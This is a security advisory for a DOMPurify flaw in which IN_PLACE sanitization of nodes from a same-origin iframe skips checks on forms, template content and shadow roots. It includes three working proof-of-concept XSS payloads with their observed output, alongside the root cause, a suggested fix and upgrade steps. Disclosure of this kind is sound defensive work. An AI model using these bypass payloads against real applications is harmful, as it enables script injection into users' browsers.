GHSA-hpcv-96wg-7vj8 CVE-2026-49458
DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks
- Severity
- 6.1 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.40%
- Chance of exploitation in the next 30 days. Higher than 34.70% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- CWE-501 Trust Boundary Violation
- CWE-693 Protection Mechanism Failure
- Fix
3.4.6- Upgrade dompurify to this version or later
Description
Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound instanceof checks
CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — realm-bound instanceof checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation — foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)
Summary
DOMPurify.sanitize(node, { IN_PLACE: true }) accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, instanceof HTMLFormElement, instanceof NamedNodeMap, instanceof DocumentFragment, and instanceof Element all return false for nodes belonging to the iframe's realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm <template>'s .content is not a document fragment, and the foreign-realm attached shadow root is not a document fragment — silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.
Affected
- DOMPurify ≤ 3.4.5, including
mainat89da34e03ec17868e561f87f3747a9371b61a9e7 - Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm — popup window, opened tab, programmatically-created
<iframe srcdoc>) and then callsDOMPurify.sanitize(foreignNode, { IN_PLACE: true })against a sanitizer instance bound to a different realm
Not affected:
- String-input
DOMPurify.sanitize(dirtyString)— the library calls its own parser inside_initDocument, the resulting nodes belong to the sanitizer's own realm, and theinstanceofchecks resolve as expected - IN_PLACE calls where the input node was created in the same realm as the DOMPurify instance
Vulnerability details
The unifying defect is that _isClobbered, _sanitizeShadowDOM's template-content recursion, and _sanitizeAttachedShadowRoots all use realm-bound instanceof checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects.
[A] — _isClobbered gates on element instanceof HTMLFormElement
src/purify.ts:1120-1140:
const _isClobbered = function (element: Element): boolean {
return (
element instanceof HTMLFormElement && // [A] realm-bound — false for any
// iframe-realm <form> element
(typeof element.nodeName !== 'string' ||
typeof element.textContent !== 'string' ||
typeof element.removeChild !== 'function' ||
!(element.attributes instanceof NamedNodeMap) || // [A'] also realm-bound
typeof element.removeAttribute !== 'function' ||
typeof element.setAttribute !== 'function' ||
typeof element.namespaceURI !== 'string' ||
typeof element.insertBefore !== 'function' ||
typeof element.hasChildNodes !== 'function' ||
!(element.childNodes && typeof element.childNodes.length === 'number'))
);
};
A foreign-realm <form> is an instance of the foreign realm's HTMLFormElement, not the parent realm's. The leading instanceof short-circuits to false, so _isClobbered returns false regardless of the named-property clobbering present on the form. The follow-on _sanitizeAttributes then iterates currentNode.attributes — which itself can be a clobbered value (a foreign-realm <input> whose name="attributes" shadows the form's real NamedNodeMap). The attribute walk traverses the wrong collection and never reaches the actual onmouseover / onclick / action=javascript: attributes on the form root.
[B] — _sanitizeShadowDOM gates template recursion on content instanceof DocumentFragment
src/purify.ts:1660-1662:
while ((shadowNode = shadowIterator.nextNode())) {
...
_sanitizeElements(shadowNode);
_sanitizeAttributes(shadowNode);
/* Deep shadow DOM detected */
if (shadowNode.content instanceof DocumentFragment) { // [B] realm-bound
_sanitizeShadowDOM(shadowNode.content);
}
}
The same check exists in the main iterator at :1861-1862:
if (currentNode.content instanceof DocumentFragment) { // [B'] realm-bound
_sanitizeShadowDOM(currentNode.content);
}
For a <template> element constructed in a foreign realm, template.content is a DocumentFragment from that realm — not from the parent realm. Both checks miss it, and the template's contents (which carry attacker-controlled <img src=x onerror=...> etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does node.cloneNode(true) / importNode(template.content, true) / inserts it into the live DOM, the embedded handler fires.
[C] — _sanitizeAttachedShadowRoots gates recursion on sr instanceof DocumentFragment
src/purify.ts:1702-1712:
if (nodeType === NODE_TYPE.element) {
const sr = getShadowRoot
? getShadowRoot(root)
: (root as Element).shadowRoot;
if (sr instanceof DocumentFragment) { // [C] realm-bound
_sanitizeAttachedShadowRoots(sr);
_sanitizeShadowDOM(sr);
}
}
For a host element constructed in a foreign realm with host.attachShadow({mode:'open'}), host.shadowRoot is a foreign-realm ShadowRoot (which extends the foreign realm's DocumentFragment). The instanceof DocumentFragment against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content.
The mismatch
DOMPurify accepts foreign-realm nodes for sanitization (the entry-point's _isNode(dirty) at :1750 is realm-agnostic — it checks shape, not constructor identity), so callers reasonably expect that the library's downstream defenses are equally realm-agnostic. They are not. [A] / [B] / [C] each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., nodeType === 11 for DocumentFragment, tag-name comparison for HTMLFormElement recognition).
Proof of concept
Each PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm DOMPurify.sanitize(node, { IN_PLACE: true }) and verifies that handler execution succeeds on subsequent activation.
PoC 1 — cross-realm form clobbering survives
const iframe = document.createElement('iframe');
iframe.srcdoc = '<!doctype html><html><body></body></html>';
iframe.onload = () => {
const idoc = iframe.contentDocument;
const div = idoc.createElement('div'); div.id = 'dirty';
const form = idoc.createElement('form');
form.setAttribute('onmouseover',
'window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1');
const inp = idoc.createElement('input');
inp.setAttribute('name', 'attributes'); // clobbers form.attributes
form.appendChild(inp);
div.appendChild(form);
DOMPurify.sanitize(div, { IN_PLACE: true });
window.__dompurify_xss = 0;
document.body.appendChild(div);
form.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
// window.__dompurify_xss === 1
};
document.body.appendChild(iframe);
Observed (Chromium 148, DOMPurify 3.4.5, HEAD 89da34e):
{
"sanitizeError": null,
"before": {
"formIsMainRealmHTMLFormElement": false,
"formIsForeignRealmHTMLFormElement": true,
"formAttributesType": "[object HTMLInputElement]",
"formAttributesEqualsInput": true
},
"after": {
"html": "<div id=\"dirty\"><form onmouseover=\"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\"><input></form></div>",
"formOnmouseover": "window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1",
"xssExecuted": 1
}
}
PoC 2 — cross-realm <template> content is never walked
const iframe = document.createElement('iframe');
iframe.srcdoc = '<!doctype html><html><body></body></html>';
iframe.onload = () => {
const idoc = iframe.contentDocument;
const div = idoc.createElement('div');
const tpl = idoc.createElement('template');
tpl.innerHTML = '<img src="x" onerror=' +
'"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1">';
div.appendChild(tpl);
DOMPurify.sanitize(div, { IN_PLACE: true });
window.__dompurify_template_xss = 0;
const clone = idoc.importNode(tpl.content, true);
document.body.appendChild(clone); // fires onerror
};
document.body.appendChild(iframe);
Observed:
{
"before": {
"templateIsMainRealmHTMLTemplateElement": false,
"contentIsMainRealmDocumentFragment": false,
"contentIsForeignRealmDocumentFragment": true
},
"after": {
"templateInnerHTMLAfter": "<img src=\"x\" onerror=\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\">",
"xssExecuted": 1
}
}
PoC 3 — cross-realm attached shadow root is never walked
const iframe = document.createElement('iframe');
iframe.srcdoc = '<!doctype html><html><body></body></html>';
iframe.onload = () => {
const idoc = iframe.contentDocument;
const host = idoc.createElement('div');
host.attachShadow({ mode: 'open' }).innerHTML =
'<img src=x onerror="window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1"><b>safe text</b>';
DOMPurify.sanitize(host, { IN_PLACE: true });
window.__dompurify_shadow_xss = 0;
document.body.appendChild(host); // shadow activates, onerror fires
};
document.body.appendChild(iframe);
Observed:
{
"before": {
"hostIsMainRealmElement": false,
"shadowRootIsMainRealmDocumentFragment": false,
"shadowRootIsForeignRealmDocumentFragment": true
},
"after": {
"shadowRootInnerHTMLAfter": "<img src=\"x\" onerror=\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\"><b>safe text</b>",
"xssExecuted": 1
}
}
All three PoCs run cleanly against dist/purify.js built from current main HEAD 89da34e.
Impact
Direct
Any application that parses, isolates, or constructs untrusted DOM inside a same-origin iframe (a common technique for <base href> isolation, document.write sandboxing, layout pre-measurement, declarative-shadow-root attachment, etc.) and then hands the resulting node to a parent-realm DOMPurify instance with IN_PLACE: true is vulnerable. The library returns a node whose top-level shape looks sanitized, but executable attacker markup remains in:
- Form root attributes —
onmouseover,onfocus,onclick,action="javascript:...",formaction=,target=,id=(DOM-clobbering target), and the full attribute-allowlist set, because_sanitizeAttributeswalks a clobbered.attributesinstead of the realNamedNodeMap. <template>content —<img onerror>,<svg><script>,<iframe srcdoc>, etc., because the inert template tree is never recursed into.- Attached shadow roots — any markup inside the shadow root, because the shadow walk is skipped entirely.
XSS triggers when the consuming code:
- Inserts the form into the live DOM and the user interacts with it (mouseover, click, focus).
- Clones template content with
importNode/cloneNode(true)/node.appendChild(template.content)into the live DOM. - Appends the shadow host to the live document (the shadow root becomes active and
<img onerror>fires synchronously during the insertion microtask).
Indirect / second-order
- DOM-based template engines (Lit, Polymer, Vue, FAST) that often use foreign-realm
<template>parsing for performance reasons. If they pipe attacker-influenced content through such a template and then run DOMPurify on the parent-realm host, the template body is sanitization-skipped. - Editor / WYSIWYG frameworks that render preview content inside a same-origin iframe and then move it into the main document after sanitization.
- Email/HTML preview libraries that parse received HTML in an isolated iframe to neutralize CSS /
<base>/ form submission, then sanitize via the main page's DOMPurify. - Declarative shadow DOM consumers that adopt a host from one realm into another — the shadow subtree carries the bypass.
The known prior IN_PLACE-cross-window fix (which closed an earlier cross-window primitive) does not cover the realm-bound instanceof checks at [A], [B], [C]; current main HEAD is still affected.
Root cause
Per-realm constructors. instanceof X checks the prototype chain against the parent realm's X.prototype. Foreign-realm objects have a different X.prototype and so fail every such check. The sanitizer accepts foreign-realm DOM nodes for IN_PLACE sanitization (the entry-point only checks node shape), but several internal security decisions are still bound to the parent realm. This produces an inconsistency: "we accept your node, but we silently behave as if it is not a form, not a template, not a shadow root."
Other realm-bound instanceof sites in the same file that should likely be audited as part of the same fix sweep:
element instanceof HTMLFormElement // src/purify.ts:1122
element.attributes instanceof NamedNodeMap // src/purify.ts:1126
sr instanceof DocumentFragment // src/purify.ts:1706
currentNode.content instanceof DocumentFragment // src/purify.ts:1861
shadowNode.content instanceof DocumentFragment // src/purify.ts:1660 (approx)
currentNode instanceof Element // src/purify.ts:1296 (callsite of _checkValidNamespace)
Suggested fix
Use realm-independent shape checks consistently for any decision made on a node accepted from IN_PLACE:
-
HTMLFormElementdetection — compare via the realm-independentgetNodeNamecached prototype getter introduced for the recent shadow-root traversal hardening:const _isClobbered = function (element: Element): boolean { const nn = getNodeName ? getNodeName(element) : element.nodeName; if (typeof nn !== 'string' || transformCaseFunc(nn) !== 'form') return false; // ... rest of the typeof / cached-getter shape checks ... }; -
DocumentFragmentdetection —nodeType === NODE_TYPE.documentFragment(i.e.,11), notinstanceof DocumentFragment. The check is already realm-independent becauseNode.nodeTypeis a numeric constant. Same change for the<template>-content and attached-shadow-root recursion sites. -
NamedNodeMapdetection — readelement.attributesvia the cachedElement.prototype.attributesgetter (introducegetAttributes = lookupGetter(ElementPrototype, 'attributes')) and verifynodeType === 11-style shape (length is a number, indexed[i]returns objects with.name/.valuestrings). Do not rely oninstanceof NamedNodeMap. -
Elementdetection at:1296— replacecurrentNode instanceof Elementwith a shape check (getNodeType(currentNode) === NODE_TYPE.element).
The invariant the fix should encode: once IN_PLACE accepts a foreign-realm node for sanitization, every downstream security decision on that node must be foreign-realm-safe. The cached prototype getters introduced for the shadow-root hardening already point at the right pattern; the fix is to extend that pattern to every realm-bound check in the sanitization path.
Affected versions
npm
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
dompurify npm → 3.4.6
- npm
npm install dompurify@3.4.6- yarn
yarn add dompurify@3.4.6- pnpm
pnpm add dompurify@3.4.6
Severity breakdown
CVSS 3.1 6.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Weakness
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
- Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
- Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CWE-501: Trust Boundary Violation
The product mixes trusted and untrusted data in the same data structure or structured message.
CWE-693: Protection Mechanism Failure
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
References
Advisories
Fixes and patches
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-cg2g-xh64-v4q7 DOMPurify SAFE_FOR_TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output modes | Critical | Also affects dompurify |
| GHSA-mrv2-3pqr-j5jr DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p) | High | Also affects dompurify |
| GHSA-c6gr-qvv4-5v3f DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml | Medium | Also affects dompurify |
| GHSA-6688-9rhm-gjv2 DOMPurify: IN_PLACE returns a force-removed rawtext root whose text carries attacker markup — pure HTML reparse executes | Medium | Also affects dompurify |
| GHSA-p98j-92pf-mc4p DOMPurify: IN_PLACE: node-removing afterSanitize hook leaves detached subtree event handlers armed, causing DOM XSS | Low | Also affects dompurify |
| GHSA-55q2-fjhq-7xh7 DOMPurify: IN_PLACE hook removal leaves a detached subtree executable, causing XSS | Medium | Also affects dompurify |
| GHSA-c2j3-45gr-mqc4 DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements. | Low | Also affects dompurify |
| GHSA-cmwh-pvxp-8882 DOMPurify: Permanent `ALLOWED_ATTR` pollution via `setConfig()` bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch) | Medium | Also affects dompurify |
Credits: offset
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor